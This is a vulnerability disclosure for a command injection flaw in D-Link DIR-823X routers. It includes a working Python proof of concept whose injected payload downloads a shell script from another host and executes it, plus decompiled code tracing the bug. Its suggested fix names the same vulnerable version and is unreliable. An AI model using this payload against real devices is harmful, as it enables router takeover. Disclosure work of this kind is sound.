CVE Report - Command Injection Vulnerability in D-Link DIR-823X 240126 Routers

Vulnerability Title

Command Injection Vulnerability in D-Link DIR-823X 240126 Router.

Vulnerability Description

D-Link DIR-823X 240126 devices have an OS command injection vulnerability in the goahead binary, which allows remote attackers to execute arbitrary commands via parameter "http_passwd" in /goform/set_password through a POST request.

PoC

```
# coding=gbk
import socket
import base64
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print("start")

target = "192.168.0.1"
s.connect(('192.168.0.1', 80))
cmd = "/goform/set_password?http_passwd=`wget${IFS}-
P${IFS}/${IFS}http://192.168.0.171:8000/shell.sh;chmod${IFS}777${I
FS}/shell.sh;/shell.sh`&old_passwd=admin"
request = f"GET {cmd} HTTP/1.1\r\nHost: {target}\r\nUpgrade-
Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/111.0.5563.65 Safari/537.36\r\nAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-
Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"
print(request)
s.send(request.encode('utf-8'))
```

```
response = s.recv(1024)

print(response)
s.close()
```

Cause Analysis

The WebsGetvar function accepts external data and it enters do_system execution, resulting in a command execution vulnerability.

```
__int64 __fastcall sub_41D93C(__int64 a1)
{
  char *v2; // x22
  char *v3; // x0
  int v4; // w19
  _QWORD v6[8]; // [xsp+48h] [xbp+48h] BYREF
  char s2[8]; // [xsp+88h] [xbp+88h] BYREF
  __int64 v8; // [xsp+90h] [xbp+90h]
  __int64 v9; // [xsp+98h] [xbp+98h]
  __int64 v10; // [xsp+A0h] [xbp+A0h]
  __int64 v11; // [xsp+A8h] [xbp+A8h]
  __int64 v12; // [xsp+B0h] [xbp+B0h]
  __int64 v13; // [xsp+B8h] [xbp+B8h]
  __int64 v14; // [xsp+C0h] [xbp+C0h]
  __int64 v15; // [xsp+C8h] [xbp+C8h]

  memset(v6, 0, sizeof(v6));
  *(_QWORD *)s2 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  sub_412BE8("goahead.@webuser[0].username", v6, 64LL, "admin");
  sub_412BE8("goahead.@webuser[0].password", s2, 64LL, "admin");
  v2 = WebsGetvar(a1, (__int64)"http_passwd", (__int64)"admin");
  v3 = WebsGetvar(a1, (__int64)"old_passwd", (__int64)"admin");
  if ( v2 && *v2 && !strcmp(v3, s2) )
  {
    do_system("goahead.@webuser[0].password", v2);
```

Suggested Fix

It is recommended to update to the version of D-Link DIR-823X 240126 router to fix this vulnerability.